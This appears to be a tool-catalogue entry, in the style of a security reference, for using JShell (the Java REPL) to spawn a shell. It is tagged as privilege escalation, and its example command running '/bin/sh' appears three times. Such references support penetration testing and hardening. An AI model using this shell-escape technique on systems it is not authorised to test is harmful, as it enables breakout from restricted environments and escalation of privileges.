runtime enabled community medium v1.0.0

jshell

JShell (Java REPL), can execute Java code and spawn shells.

📋 Live Preview
jshell -R-e 'Runtime.getRuntime().exec("/bin/sh")'
jshell -R-e 'Runtime.getRuntime().exec("/bin/sh")'

Sandbox: execFile · Timeout: 30s

Capabilities

security.privilege-escalation.shell

Contract

Outputs

process.output

Shell output

Side effects: process_spawn

Workflow Edges

Produces

process.output

Resource Profile

ResourceValue
CPUlow
Memory32 MB
Networknone
Disk I/Olow

Examples

Spawn a shell via jshell

jshell -R-e 'Runtime.getRuntime().exec("/bin/sh")'

Related Tools

javajjsjrunscript

References